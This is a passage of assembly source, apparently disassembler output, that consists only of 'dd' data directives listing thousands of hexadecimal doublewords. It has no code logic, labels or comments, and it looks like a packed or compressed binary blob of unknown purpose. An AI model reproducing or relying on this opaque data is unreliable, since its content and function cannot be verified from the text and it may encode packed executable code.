		dd 0D220E905h, 2C8752Bh, 8BA8B7ECh, 906A0585h, 78A116CCh
		dd 0E9199CC1h, 8D090510h, 0C11335B5h, 0CAC6B9B2h, 69FA826h
		dd 7618692h, 0C20413CDh, 0B74153D6h, 90FD5529h,	9F93BFBFh
		dd 0AE39A431h, 8DBE2BDDh, 0F38BF805h, 0B52F21F9h, 864ABF55h
		dd 322F03F5h, 0B9660A44h, 432108D3h, 3FE0C181h,	7FB033B6h
		dd 0FCE7F958h, 0D9E48FD9h, 0A48B3D2Fh, 0AAA02125h, 7D2D696Ah
		dd 90AE5E8Dh, 22F94689h, 87AC12h, 8ED8D41Ch, 0C01B88DFh
		dd 6E939D1Fh, 68271177h, 29021810h, 207D318Dh, 8009E86Ch
		dd 3BF84F17h, 7F593545h, 0A02F7ED7h, 2733A19h, 82996FD0h
		dd 1F879503h, 0F653165Ah, 440F2D2Eh, 5D89038Eh,	0BB50430Eh
		dd 19200806h, 5B6009FBh, 0FA01D18Ah, 3B056815h,	502A1094h
		dd 269E14FDh, 0A42196E0h, 0AAA004CAh, 0C7894E81h, 5F130833h
		dd 1AC8098Eh, 0D2E04AC0h, 19A516D1h, 297F078Eh,	4C0839B1h
		dd 0A690275Ch, 6E396DDAh, 5695808Bh, 4B1BC914h,	893D1810h
		dd 2D1C650h, 96606A80h,	0D00DC86h, 0CE7E1C51h, 1389B639h
		dd 0D40CD9BDh, 51B6214Fh, 19C1205Ah, 0B80E9BAAh, 7F0911E6h
		dd 0B51201E0h, 0CDCF2359h, 64C519C8h, 0BE8BC680h, 890F2D1Ah
		dd 5FB50F18h, 18636870h, 50B1BD13h, 48AA62ABh, 0F924B826h
		dd 1E6508DDh, 933BF01h,	16955CA3h, 0BB4897C1h, 9923A534h
		dd 0EDA9027Ah, 784C326Ah, 4D29B5FCh, 56438B2Eh,	0A58DAF53h
		dd 93405FC1h, 24331840h, 0AC375D8Dh, 0FA9085Fh,	0DDC981C0h
		dd 7BA32C35h, 143E59E7h, 1CF248A2h, 70EEA30h, 0BD9910A7h
		dd 0FCA9E0AAh, 25C28C3Dh, 0E878830Fh, 4C952992h, 314F3831h
		dd 20EA8051h, 19A99632h, 1E83145Fh, 31334A1Dh, 0E19533CDh
		dd 7E6D3D10h, 29D010EBh, 2B8125B5h, 9659B9BAh, 142558B1h
		dd 95811A47h, 0E032300Dh, 205DCA26h, 21DB26F4h,	0C6237EBFh
		dd 0BC6F00Bh, 0B53C585h, 0BA9DC0FFh, 72801411h,	0ECF838BFh
		dd 0E0237632h, 0D7640905h, 7F27795Bh, 0BF5280D8h, 747740DAh
		dd 11355F48h, 80832FE9h, 164197CDh, 0E8A22CE1h,	0C6008C17h
		dd 0B172A449h, 0CF12E9FCh, 18C0411Dh, 22118253h, 3E00CFFAh
		dd 0C74B40A7h, 1C59B4D8h, 2936E930h, 1815D13Dh,	823150ACh
		dd 10108101h, 5CE95F50h, 65C40EDAh, 0E80F1618h,	0F21DC5FEh
		dd 0EA096FC5h, 0C0FC91D5h, 0BA4595FCh, 0E724A76Bh, 79FCB8DDh
		dd 0B0C985DDh, 208531A0h, 0B2710841h, 18B9CEC4h, 0D9EDC024h
		dd 0E9268E3Ah, 97AD9730h, 8017911Ch, 0F8DE134h,	190B67E8h
		dd 5CBDB02Ch, 157B9332h, 33C0DD04h, 0DB8C8D0Fh,	0EB45619Dh
		dd 2024B559h, 0F95D1DF0h, 0D6B719DFh, 0B03415EEh, 42E925F8h
		dd 0F7251B90h, 0CFC61D83h, 5F40545Dh, 1C8C1AB8h, 0FBE770h
		dd 567BC5F7h, 9158952Bh, 804290D8h, 3514D781h, 6A6F19E4h
		dd 34318834h, 7B0503Dh,	47721582h, 0DDC58148h, 6208D026h
		dd 8C660001h, 4C3F6DBh,	0FC444F90h, 0B2CDECC6h,	0C8AB08Eh
		dd 9CA8B852h, 4FD89D5Eh, 99396378h, 46A0B79h, 1D106F04h
		dd 0EE8164DBh, 88845BEh, 6804472Dh, 0EC18AC9Bh,	8B048A79h
		dd 4F401EF0h, 7B266168h, 29E5802Fh, 60502887h, 6A537D84h
		dd 18C25628h, 9875C085h, 0A684175h, 0DB876498h,	0D021D32Ah
		dd 684C60A1h, 80E4E7A4h, 8B0420ADh, 895F889Dh, 0C43045Bh
		dd 2B545CB5h, 3C70915h,	43ECE852h, 7020C28h, 0BBD8513h
		dd 0AD6A9B62h, 2E0C4702h, 0A28BA4B5h, 2671411h,	0F7976845h
		dd 0A80F92A5h, 67357310h, 28610C02h, 604D3275h,	6AA1B4B4h
		dd 580C464Eh, 0BA314F86h, 60002BDDh, 855D9D33h,	0DE8B2CADh
		dd 61260A10h, 0C2FA18AEh, 0EAF72F5Dh, 0AF725Fh,	0AEC082F0h
		dd 60B7341Fh, 196BF600h, 0A8ECAB64h, 801BB131h,	8AF9A08Fh
		dd 0AE00BB4Ch, 3678D6E0h, 7267A05h, 130FCD1Eh, 386325Fh
		dd 0FB0975D1h, 5CFE450h, 17916F98h, 5D15C172h, 0FF640021h
		dd 0C911B435h, 0C33D5206h, 25516477h, 0B82C6910h, 8183E205h
		dd 0D3D97233h, 0B7614508h, 13197426h, 962B5F48h, 0A4E020E8h
		dd 0BE00148Dh, 3136FBEDh, 80048595h, 0BD16805Fh, 6E97FFA1h
		dd 88080BD7h, 3304012Dh, 5FD7DDBDh, 85B3DB67h, 411BE59h
		dd 69BD89C0h, 40FC012Fh, 0BFC3F0Fh, 0A68F5264h,	8805FB4Eh
		dd 9A00D58Ah, 4D8D2BC8h
		dd 0FBC7C61Bh, 1245E4FFh, 8AE3E320h, 3D9CD15Bh,	4CE92820h
		dd 0A840F917h, 6681C70Ch, 3FF17A4h, 0B866837Ah,	1AB20415h
		dd 305C8BC3h, 51000362h, 7FED815Dh, 8B163B92h, 2431B883h
		dd 18903038h, 4F5DCD89h, 94E5A130h, 0D5B584FCh,	756FB418h
		dd 0B5A651D2h, 205067E0h, 5C56EE3Ah, 8C19E86Eh,	15EFA502h
		dd 4E54988Fh, 8BF045Eh,	9D73036Eh, 0F80B2B5Ah, 0B86E68B9h
		dd 55D70004h, 81640548h, 0BB000DF7h, 8685D465h,	70B640BAh
		dd 33EAFA34h, 0ED0C5FE8h, 5868FBB8h, 75564D09h,	7981820Ah
		dd 54010428h, 0F104E411h, 0B9000309h, 12A34DA6h, 334C44B8h
		dd 0AB0F2E35h, 43D21D6h, 422F8108h, 2117AE27h, 0AAC8C220h
		dd 7E666030h, 64E14CB8h, 45E2B909h, 1BE4D545h, 9B9D9760h
		dd 0BD0C2D03h, 15F8167Fh, 9E3AE9CAh, 0DE01916Bh, 0C735382Eh
		dd 16E85h, 65637845h, 0E697470h, 49206E6Fh, 72C2666Eh
		dd 0C8E616Dh, 656C5003h, 2C9973CBh, 3A08BE20h, 68749F64h
		dd 6C36E77Ch, 6977671Eh, 63E767E7h, 73F664A7h, 0EEE7FB28h
		dd 64406D61h, 2EFBE352h, 0C6D2A3Ah, 16685420h, 0F679EC6Bh
		dd 6F0AFE75h, 1F4040Dh,	467028C6h, 43627360h, 754C5254h
		dd 0D1B3FF2Bh, 1E66699Eh, 0D8A06497h, 7970A18Fh, 696C08A8h
		dd 61FE62F2h, 29647214h, 56424036h, 7352657Dh, 3D7F7F99h
		dd 1ECA2579h, 63028743h, 0A44E496Bh, 4F70640Fh,	1F8E5455h
		dd 0E86F7250h, 0B40F851Dh, 60F643Bh, 3D7469E6h,	1E210F87h
		dd 8E502A6Fh, 1E751834h, 0B5BDD002h, 9949C632h,	9742411h
		dd 32D0A8DFh, 46490EC8h, 0B8B02568h, 7CEF953Eh,	0A931D589h
		dd 8BDF1902h, 0CA3C1207h, 7240B02h, 4178DF2Eh, 4A072229h
		dd 0C4E32125h, 0EF216B6Fh, 216BBCC4h, 6BDAC4F7h, 0C3C4F321h
		dd 0C4E7216Bh, 0EB216BCBh, 462AD2C4h, 0C69100Ch, 20A2E916h
		dd 1329BD0Ah, 95953A91h, 19427E0Dh, 4118511h, 28F1958Bh
		dd 0F8C28101h, 0FE9011Ch, 958D238Bh, 5230F164h,	0C3402834h
		dd 0F73B5CD4h, 96045513h, 408B0CDFh, 9D8B45ECh,	4CC31345h
		dd 654D06E1h, 84501118h, 54C8E343h, 583CEF44h, 0C8F34384h
		dd 54E7445Ch, 0DD5A7DCh, 8A68AF68h, 4C5ACD0Ah, 4386EB0Ch
		dd 90F321E7h, 64E3C8EFh, 240A54DFh, 11C21CD9h, 0AD07A131h
		dd 0A1040723h, 0D506C32Ah, 406A24C4h, 30FB2924h, 0A46E4919h
		dd 399601F0h, 0EBC18B60h, 508EB318h, 0E2960BE9h, 1A876012h
		dd 20194E19h, 61193498h, 0E63404C2h, 60323D28h,	0F6040814h
		dd 984FD12Ah, 61E9C324h, 0B58B21F8h, 818F8ED0h,	18F00CE6h
		dd 8CEB94E9h, 810B19E8h, 543C64Fh, 0DD4B53Bh, 0E9860F39h
		dd 0D820D851h, 0CFE622F2h, 66506FC0h, 1224C88Ch, 10C00A03h
		dd 97582A1Bh, 0A811BB2Fh, 44D2285h, 0DB0A1886h,	67163F84h
		dd 197B991Ch, 0CFC62404h, 82B1FA15h, 0F910907Ch, 0F1F7B19h
		dd 0FE174C01h, 1CC0D502h, 3DE45253h, 0FCB18966h, 5C5B0209h
		dd 4CAE0953h, 10858283h, 0BB88E043h, 0CBEF5398h, 4AE36480h
		dd 0D0C4BCDBh, 0ECC7BC76h, 31324F75h, 0BA448B00h, 0C59829E6h
		dd 7C068915h, 2FE51878h, 23333324h, 5BBD2901h, 9A391A2h
		dd 243E8060h, 0BB4031EAh, 763AB7A1h, 0B101B01Ch, 1D13E98Ch
		dd 0C88A07ACh, 2032C302h, 0BAACBD1h, 140D264h, 0C90A4A43h
		dd 0DEE5D622h, 11DD1A23h, 8B521080h, 7AE657D4h,	0C033080Ah
		dd 0AA0721E9h, 8D0A3F80h, 0A15A5FC2h, 565153BCh, 0DB0A32B9h
		dd 3D4E10E9h, 0D3D1D800h, 5ABCC381h, 0B0374637h, 0B49469Fh
		dd 8BE84497h, 595EC30Eh, 7B608A5Bh, 1911F969h, 5A2AEAACh
		dd 47C02077h, 0A8DF21E7h, 0A8D8190Fh, 59293C04h, 0A2A844D4h
		dd 0D605676h, 2179858Fh, 0A1716420h, 21F2BD06h,	3FE93889h
		dd 9CC6757h, 2407E8Bh, 46F31705h, 2192899Bh, 0FE3C1419h
		dd 8E1E46ACh, 88E430A3h, 8768E9AEh, 76A4DF69h, 4D007212h
		dd 0B2B80C7Ah, 0A94527CAh, 7C1AE57h, 0D1203006h, 0A3B46C8h
		dd 0F1820FF7h, 14EA488Dh, 94BD2808h, 0B828284Ch, 53512456h
		dd 242C2013h, 0C5670C4Ah, 8483093Ch, 30049D11h,	320413D3h
		dd 8C3C1D8h, 67751C85h,	595B1C02h, 9837885Eh, 47370108h
		dd 81917BC1h, 950C5329h, 185122D4h, 60810D59h, 0A1880FC4h
		dd 0C162E850h, 535224h,	7A4BCE2h, 2B7A0814h, 5A780C00h
		dd 7306F081h, 613F0931h, 7DD3C08Bh, 7F11F873h, 80CD091Ah
		dd 9EC74EC6h, 0E6350EC4h, 40EB149h, 0E6A2920Bh,	803016F2h
		dd 0F9362435h, 0EC6460ECh, 4D3B2F93h, 43370065h, 0A6138369h
		dd 14BD184Bh, 8CB5D86Eh, 3051B1B4h, 23CF3E6Eh, 0CC01001Ch
		dd 7C85418Ah, 19690900h, 6E9B3B2h, 0D020B502h, 8CDCBED2h
		dd 0BCCBDF4Ah, 0D8C019C8h, 0E4399A2Ah, 0F5703F6h, 665AF7BFh
		dd 3404C799h, 3A9ACEADh, 2BE1B107h, 0F14580FFh,	3A7DBA04h
		dd 14B94E80h, 2E40067h,	52506093h, 0B50775BAh, 310F79E8h
		dd 4A8A4670h, 9058E25Ah, 3811B5C5h, 1C61088Eh, 87A7BE50h
		dd 639329F3h, 13A21F88h, 6DAD34D1h, 3FE0EE6Ch, 0A95A228Fh
		dd 8014AD05h, 0AFB2BFC5h, 1CB88894h, 5A06008Ch,	2D019D95h
		dd 0A8135FCAh, 80B6C48Bh, 8C49FEE0h, 0A5F4AB0Fh, 40A2534Eh
		dd 7D16E500h, 0BB79D298h, 0B967C500h, 453AEC71h, 80BBA259h
		dd 0AF43F608h, 0F98B0258h, 0EB01CD61h, 11141061h, 3607164h
		dd 0B589032Eh, 0ACE0A447h, 3D0B798h, 0A2D7BB00h, 0B96633E1h
		dd 5ACA079Fh, 82E9E280h, 0B0D1D38Bh, 43CB4F25h,	29A36057h
		dd 0EAE1AE0Bh, 7CD442AFh, 8F17DCD4h, 0C8480B3Ch, 9682A77Ah
		dd 80C031C4h, 2976FE4h,	0F10C82C9h, 19A4801h, 7A3D5938h
		dd 1FAF62B8h, 0C241E7FFh, 164C8C6Eh, 74D68070h,	0C7B8C2F5h
		dd 37C688CDh, 0A0A62600h, 9A9C0CB6h, 9457E261h,	0CC101625h
		dd 0B6040FFCh, 0C8FE0140h, 0D4BAB008h, 5F5E0212h, 26C60318h
		dd 45F598A9h, 3FBAE804h, 43D8ED5Eh, 82615BD1h, 0D098E9D0h
		dd 0A72D31D2h, 0CEEB60DDh, 0ED352673h, 76B4FCD8h, 0F60E42D6h
		dd 14A72DEEh, 991D4D89h, 0A3801811h, 0AB210767h, 0F7B70F0Bh
		dd 0F3510051h, 4CC28B59h, 0A48FEAE8h, 0DD9D39C1h, 0C5E660F2h
		dd 3AABEA01h, 0BE44AAB5h, 0F04009F7h, 6DD9515Fh, 0C2C0DB1Dh
		dd 0D6B6EAFEh, 0AD840186h, 8DF397C1h, 940B205Eh, 7947605Eh
		dd 0A508B8C8h, 0C7005064h, 3078802Dh, 14D3233Ch, 0EB1A358Ch
		dd 59725400h, 8B3834FFh, 355BF124h, 8D74BD28h, 8CC9EB05h
		dd 0D5AC0517h, 0DF2BF301h, 80F81176h, 39974D1Eh, 0C33BE7Fh
		dd 531D5FC6h, 8304E240h, 7048FDDh, 18D95E90h, 405E9E56h
		dd 0CA855F1Dh, 0E4ECA700h, 0F6B0D04Eh, 2A6B783Bh, 156168h
		dd 24848F31h, 0F5A9F29Ch, 3E34F00h, 295B701Ch, 75E80381h
		dd 60627DE7h, 4E5F50BFh, 0F83F1064h, 71C09B61h,	3492F71Fh
		dd 2E0970A0h, 80988285h, 670BDCFCh, 0D5312F73h,	0EF6B0966h
		dd 7DD31180h, 23DF6406h, 18F9D70Fh, 1AC9C0EDh, 14DFAEAh
		dd 8750BA99h, 0F0CF451Bh, 64F6BC9Bh, 40A36Fh, 0A8A619Dh
		dd 88C60C70h, 0E128AF46h, 81B6323Dh, 62F994Eh, 3843A4E3h
		dd 927A765h, 0E4200866h, 749F1FECh, 1EED0030h, 61A4D95Dh
		dd 0CBAF3F00h, 87C32DE5h, 8C55039Ah, 0B6B8DE1h,	0F5F220F8h
		dd 419D1A03h, 0D3869614h, 0BC95D18Ch, 0C448EFAh, 1804501Fh
		dd 31FBC221h, 0A18C912h, 0C6E0EF5Eh, 98110780h,	0C3CBCF48h
		dd 98060766h, 0A1ED4F30h
		dd 1AA01818h, 0AD54D1FAh, 9EDE7E00h, 8A2966D9h,	3094A4D0h
		dd 6530AF03h, 0EDF0C646h, 0C710A260h, 6FA1A71Ah, 0D584704Ch
		dd 0C56B059Bh, 61BC8C20h, 44B70040h, 0AB20185Fh, 0D1E82EF1h
		dd 6BA25218h, 1BCF929h,	0F8A460C7h, 526EE34Ah, 0B02089B0h
		dd 2A5609B5h, 7F81224h,	202BEBC4h, 0DDCAC06Dh, 0A300AA13h
		dd 0D88B37C0h, 19B40BB7h, 682F9BA4h, 0E0E330BBh, 66C86450h
		dd 0D4E67D18h, 95F548h,	0EA2F9D57h, 0CEE57E63h,	35E618C3h
		dd 0ADC1A761h, 0BC40B203h, 66FC16Bh, 9FFE66D8h,	0E600F896h
		dd 307226F0h, 0C8B3446Ch, 9D428D29h, 27042295h,	2FD57D22h
		dd 0AB410091h, 0AE430FECh, 3E153C2Fh, 3B083401h, 0E40E3AB1h
		dd 207C3C5Bh, 0C33FBE07h, 0AD40AA85h, 45B89Fh, 0E5998C6h
		dd 775C73BFh, 0FED53400h, 0BD8BD1Eh, 0ABB8D0h, 653E4EB2h
		dd 2203CCA4h, 1413039h,	727E43DDh, 15E08637h, 11D8008Ch
		dd 6656CF61h, 0A7F2B2Dh, 7C000D75h, 81DEC1F8h, 5838393Ch
		dd 0B2007C86h, 0F3ECD2A5h, 19C04975h, 818AE10Ch, 5F5D005Ch
		dd 0D7B17276h, 0D0370F6h, 0C841EB25h, 8D101F94h, 0AEDA00D5h
		dd 0A57190F5h, 0F7C0F200h, 6B06389Dh, 536A00BEh, 72FA5617h
		dd 0E5009C73h, 5CC26EE7h, 84B012h, 0DC094BE2h, 0F8488E23h
		dd 808B833Eh, 0E3E547AFh, 431C38h, 4D6F6E8Ah, 15B54AA2h
		dd 29276400h, 0C501E4C3h, 0FDE60791h, 205C0F2Ah, 965E4240h
		dd 0F6461209h, 2FF6875Ah, 793304D0h, 0D13E00A5h, 626AC2D3h
		dd 8D1D0E65h, 14A4CE91h, 70BA4A00h, 1D31661h, 0CA1D5067h
		dd 7B225584h, 0DA28E3C0h, 1E7D017Ch, 0F59E77C7h, 0D0F8D1C9h
		dd 9F7075CBh, 0A64EE700h, 693FDC07h, 2A8500C5h,	882C9296h
		dd 5A05A96Eh, 0CBDDEDFDh, 3D84E440h, 0E52490h, 0DB6E7F79h
		dd 0E227724Fh, 0BD6D7800h, 3AB53E13h, 0AA420130h, 0BB2F22EBh
		dd 8BF140DCh, 8400FCD4h, 78B87DA1h, 0E29F925h, 541E5115h
		dd 74F29382h, 0BB670C40h, 63F6D1Dh, 1FF4DE80h, 1C993345h
		dd 0FA71ADFCh, 0CDF2A980h, 44F65FDBh, 0FB07B090h, 0DEDAD91Bh
		dd 0E0108F1h, 0F0C2E3E0h, 0DDF50141h, 0F40B9ED7h, 3033F01Ch
		dd 87AB970Ch, 0CDD939h,	74DBC207h, 0A2800A35h, 16BBB601h
		dd 5DDF915h, 6B6A4883h,	0E0E7AAA3h, 2ACC4FA0h, 0FCEE5600h
		dd 5CC976F1h, 101A006Bh, 2397AE33h, 0AF00C632h,	17F2A760h
		dd 46B186h, 39AC3C1Eh, 0AE2C0F31h, 159B9E1Dh, 64005752h
		dd 8A2044E1h, 105560A9h, 0F62DC05Eh, 0DB0276F2h, 0F95A80EFh
		dd 4C63B6h, 9DA0CC20h, 0A1CB577Ah, 6FEAD426h, 925A0D00h
		dd 39E63E0h, 6A8530ABh,	13D0DEC3h, 3400ED45h, 0E8F32F0Eh
		dd 6055B68Dh, 4C8B217Eh, 400E052Ch, 0C063E127h,	1EAE41EEh
		dd 183B0E92h, 0A2A08E8Dh, 10022809h, 40DD8400h,	0D9B99917h
		dd 663502FFh, 0D1F73127h, 0CAAB6860h, 0A9BA9C00h, 0B891B1C3h
		dd 8EA800CCh, 8AAC925Dh, 8C09A59h, 0E7ADB3B5h, 0BFC700CEh
		dd 0C3CBCAEBh, 9400D304h, 9BFAFBBEh, 14072E9h, 840EB377h
		dd 479691ECh, 6C5550F8h, 5A06EB0Ah, 54F30469h, 3092E0h
		dd 0A3987E90h, 51843ACCh, 0EC832609h, 0C0C80CDh, 76E4FD3Fh
		dd 48A17145h, 48010475h, 300A7EB0h, 16F08078h, 732AA8F3h
		dd 85350302h, 0D3875504h, 3A3BE000h, 33392B0Ah,	48410023h
		dd 2D3E263Ch, 29FC1A42h, 45084960h, 50971EE3h, 9BFC5Eh
		dd 74353D5Ah, 6B2C4663h, 5B0D4A01h, 0B4A79021h,	25CE084h
		dd 132824h, 74F787BAh, 0D2966781h, 43B61426h, 80653609h
		dd 0F06F6A08h, 32E0C9DDh, 47FFBC07h, 5E1490BCh,	0FD00D897h
		dd 72F1DB3Ah, 17B2058h,	25EFADBBh, 6451133Dh, 0F51D0774h
		dd 7880C774h, 0E1C5154Ah, 0CB4100F4h, 0D698FD7Bh, 6D036EE4h
		dd 0DCC282D0h, 1F95B9B5h, 320C147h, 589E166Fh, 7FA496h
		dd 0F6FE9BDEh, 0E801A6D7h, 6A3B400h, 0A8FAEEFh,	8A76003h
		dd 6B8ACBF7h, 8CD87F00h, 94B09767h, 0A6A009B4h,	3200BBC5h
		dd 2258EA56h, 237C9D00h, 4DE5EF4Ch, 0AEE70F0Bh,	0F25842C4h
		dd 6028D47h, 406917E9h,	0D394404Ah, 0BDC201FBh,	2904F8EAh
		dd 0F0E8210Bh, 7F75915Fh, 830B1098h, 1C8F0E9h, 63DBF33Bh
		dd 197C2D4h, 0AB906AADh, 0F71D3024h, 0C2008C83h, 0C76FBFE2h
		dd 0A9016Bh, 0ABF084D0h, 0F78568E3h, 704BE500h,	0B9BD12C0h
		dd 128C90DCh, 369B4FFh,	0A67F2B4Ch, 0AF6B5A88h,	60397A3Ah
		dd 0F412EE18h, 0A0EA6040h, 0C56E4E55h, 0B9D6C73Ah, 542883D3h
		dd 0F3C0F0h, 1DB0B649h,	0CC78D2DCh, 95ABCEC2h, 15FF8666h
		dd 0FDC23DB0h, 30870A19h, 0C3FC70BFh, 55A8191Fh, 38950700h
		dd 0E0BC88h, 0EC7E6F83h, 0DDFDA054h, 0C8786300h, 6A98940Ah
		dd 5CBF5888h, 6EC4A200h, 840FC245h, 3D0EFA0Bh, 5764102Fh
		dd 3A280715h, 5032FC4Fh, 8D8BCD5Eh, 0F8237900h,	0E0F01907h
		dd 60773C05h, 9DB5B600h, 0B37478C4h, 7AADD216h,	46A2D700h
		dd 262DFC7h, 0ECAFEAE5h, 70406484h, 180044C2h, 0EF398CD9h
		dd 905493E8h, 4A9800E8h, 649ECBE6h, 9403D504h, 6D76FF2Dh
		dd 6F70A053h, 77FD0055h, 1EF64C78h, 0A705657Fh,	26EF3C01h
		dd 10B47880h, 9FA84406h, 0EACBC91Dh, 0BD08D780h, 18FA1B3h
		dd 0BA89AF92h, 206C648Ah, 90005A23h, 50FF0FFDh,	0F7BA3D2h
		dd 0BFE6EFA8h, 0AC22F449h, 0E9213FCDh, 3864DD2Ch, 35220497h
		dd 0A08BA2AFh, 0E826AD38h, 1E825C59h, 0C8A78E4Fh, 0F43460h
		dd 3B04D1D3h, 5D3A3E7Ch, 0E15C4E09h, 0D51840E7h, 1BF30205h
		dd 6B58E9DAh, 7C4550E0h, 4CD8FC00h, 78CCF27Fh, 0BEAC004Bh
		dd 0B89E6566h, 94025F6Ch, 0C9B596AEh, 0FFC58FB3h, 0C5688640h
		dd 9A42CC12h, 522F07E4h, 8FC89A6Ch, 8C7ECF40h, 0EE761585h
		dd 16D10A1h, 0C6E84309h, 0C5423AA9h, 55E5330Fh,	0AE0C8055h
		dd 0CDB15FEBh, 0B9238707h, 0BF409FCBh, 1E4F98h,	5332E936h
		dd 0AEF73CFBh, 0BA351000h, 7AA56948h, 71540142h, 0CFF4B32h
		dd 0A18DD417h, 0AC056AEEh, 0E9AED46Fh, 0B7CB3000h, 0E9605423h
		dd 0C0564041h, 0E447D6F4h, 41E2F92Fh, 0C0509776h, 5F11B20h
		dd 52E41F11h, 160C03A3h, 0E900D004h, 4BB7384Eh,	0AE01ECh
		dd 3A83D52Ah, 68CB910Ch, 0AFEEF000h, 4C93BA2Bh,	10443E99h
		dd 0F3DC460Ch, 4ADD541h, 42E46BC1h, 6D7E108Ch, 0DE016791h
		dd 0EC419D1Fh, 0EB00AD39h, 0B0382F1h, 9B3F7E61h, 8F280857h
		dd 4D109E0Dh, 48882D84h, 62A3802Bh, 5BA1E182h, 90DC7B0Fh
		dd 95D5E164h, 0E160926Ah, 9474B2h, 12978B8Dh, 36896146h
		dd 565423Dh, 0A6AD2B0Bh, 0D1B47CC0h, 0F7816BAh,	46800B7h
		dd 0C76B825Dh, 0B8437724h, 5CCA2E00h, 712876h, 750A4864h
		dd 0FFC34E89h, 0FEB20F9h, 0C1F92007h, 0B7904B5Eh, 0C07D9BBEh
		dd 0D86B1550h, 720116A0h, 7CC4CC8Dh, 9850A9C1h,	178562h
		dd 86EAE083h, 0F04CBC55h, 1134C400h, 62BAAD4Eh,	85940ED9h
		dd 790318FEh, 4D8A2136h, 4EE4CC40h, 2E049B00h, 7651AB97h
		dd 0FCE20096h, 1CBBDCB8h, 17541840h, 2D2436CCh,	0CDA6E8DAh
		dd 0BC4F0B00h, 27720F2h, 965A8A0Fh, 9602DC2h, 1B0079FBh
		dd 0DF3002D7h, 9DC19Bh,	0DC0366Fh, 6DF5F3A2h, 92DDD800h
		dd 8CB0BEB6h, 22D00076h, 0A4F7163Eh, 0B9000BF5h, 0F286ECD7h
		dd 23D8FFh, 5EC37624h, 0B529254Fh, 0BA514B00h, 0D8E5ED32h
		dd 4CA40131h, 43C698Ch,	35787019h, 5EDDD900h, 0FA83FFC9h
		dd 61BD02A7h, 5D9EC781h
		dd 5CC29560h, 25A6CA1Fh, 0A379B400h, 79B9818Eh,	0F7E70004h
		dd 128BE8B5h, 20006D78h, 0F1B0282Ch, 0A815B674h, 164585C0h
		dd 67CA53h, 7B9B9CA5h, 12007655h, 38AB8071h, 14EEF2h, 79B78813h
		dd 3E1A7F9Fh, 67578900h, 0D8B34EF0h, 0DE71027Dh, 0B97B108Fh
		dd 4AC3F8C0h, 1A3B1900h, 702B27CBh, 0C6481D4Bh,	42120098h
		dd 471DE122h, 7F07DE72h, 10DD6E05h, 2D70B3h, 6443AA98h
		dd 6746A978h, 0A87D3Ch,	29C1906Ch, 3BB88B1h, 0A58AB333h
		dd 0DD1B716h, 7D0D342h,	4000BC30h, 45C53120h, 0A0EE341Bh
		dd 275698h, 88A3D8BDh, 0D201A59Bh, 0A7010C90h, 0EBF758A9h
		dd 1024E2E3h, 0DE0A2EE4h, 27080ECCh, 24EC02F3h,	0F860751Fh
		dd 67620C20h, 4E0D28h, 59B36FCDh, 7F76E3Ch, 0E7FE1185h
		dd 3259AA0h, 0F200018h,	0EE43E2C8h, 1600CBFFh, 0B191FB2Eh
		dd 0B58AE0Bh, 0BF312498h, 5B9A4480h, 0B40A3534h, 0D495EFE3h
		dd 0E7F2A800h, 0F3AAC0h, 0F0ABC3E2h, 0EAC2C8CFh, 0C68CCB03h
		dd 0C094D302h, 75FE1Fh,	7A080163h, 86F0FC5Bh, 0E9F95A00h
		dd 92F85F85h, 401B7DEEh, 2B18889Ah, 11C02AAAh, 1F94A7Eh
		dd 0ACA4448h, 818850BFh, 1AF66086h, 0D8EC2C00h,	0D3DFA12Ah
		dd 5C680150h, 5F837962h, 989E7026h, 7352D900h, 289167B4h
		dd 21EC00C3h, 94AE473Eh, 0C6008EBAh, 0E1FD6B80h, 58BE05D7h
		dd 0BB079FB2h, 0B36259B7h, 82D94D19h, 0FBCAE071h, 21263F00h
		dd 0A94420E2h, 515A00DFh, 99856E07h, 46006BBBh,	0E46A24D1h
		dd 0E4CCE6ECh, 0C64500D9h, 2731D39Ah, 2C001756h, 2F085924h
		dd 747B513Dh, 84ED0041h, 1F507D19h, 0CD00301Ch,	7F6956F3h
		dd 2E1B6D42h, 39803Ah, 4939379Ah, 0B300CE65h, 0AAE77916h
		dd 0EEED6FFh, 1DEB931h,	0FDE9BC81h, 88D9F442h, 12F094E6h
		dd 517FFF00h, 0A4AC902Fh, 0A636002Bh, 8FB2ED02h, 9B00C69Eh
		dd 0D11F2341h, 0E669B3h, 375EE19Ch, 0BDAB4A91h,	8758833Fh
		dd 4AD0344h, 0C01CE702h, 0EC9814C4h, 0BDBC00A5h, 0C18F9AEAh
		dd 0EB006C3Fh, 552B6462h, 6ACEE0h, 0E9FECCD4h, 4E808B46h
		dd 63368F00h, 2765DFB5h, 6FE43Ch, 9FCE4D76h, 0F3708058h
		dd 0FF2E7A00h, 59E79526h, 0AE870035h, 7F1B22FCh, 0C702C8DDh
		dd 896A804Ah, 7678C848h, 0D0B5247Bh, 0FC030B94h, 3F9B8420h
		dd 220679EFh, 0CD11178Dh, 2B540420h, 0C7F065D9h, 7782F07Dh
		dd 80799061h, 1E2DA03h,	0F8D06281h, 76DCF2h, 0C8084038h
		dd 0C51543E9h, 0EC8E8917h, 49E10F00h, 0B8F880A3h, 34850098h
		dd 2C3A7A09h, 0DF020704h, 80AB99CAh, 0A4A1E1D6h, 1B203E0h
		dd 0B0C643F1h, 0C83ADD9Ch, 0EFF2114Ch, 0AA91E400h, 0BE965B31h
		dd 0B17807D6h, 903E54C8h, 0DAAB3F74h, 80F1A762h, 0A01AC329h
		dd 4D0A2Eh, 52172785h, 56134178h, 3B397C0Fh, 465A015Eh
		dd 30E01B3Fh, 11330042h, 12320F38h, 37010E31h, 0F3B4FA0Dh
		dd 0C8209C73h, 60B3EAE0h, 0AE1EA4Ch, 2E12AA8Ch,	0CC401E5Dh
		dd 48FF2F49h, 0A68E2C93h, 15EA3074h, 9E3A0A3Bh,	1C53804Dh
		dd 0A2D7EE52h, 4E6C00BEh, 8683CD1Dh, 34008E25h,	0BA7F1FFh
		dd 0E627E86Eh, 750E2E67h, 7459007Bh, 1C8112DAh,	0D6F4E9C4h
		dd 38AF00E0h, 0AD0F098Eh, 0A720CE8Bh, 0BEFAD297h, 0E3EE08C0h
		dd 395B392h, 8DAF94B0h,	9888BCA8h, 289EADBEh, 71327E03h
		dd 64E90F1Ah, 982B2DF7h, 493B4420h, 70002859h, 9F181265h
		dd 0B43B6h, 143EA98Fh, 0F832C5B9h, 0E9E470C0h, 0DE89ACh
		dd 0D4A7D6F3h, 0B9EDFDCh, 0F7CCE20Ch, 12C69002h, 9031FE35h
		dd 5E52E28h, 0CFE71900h, 0B92397CDh, 1A2520EEh,	0F1731E1Eh
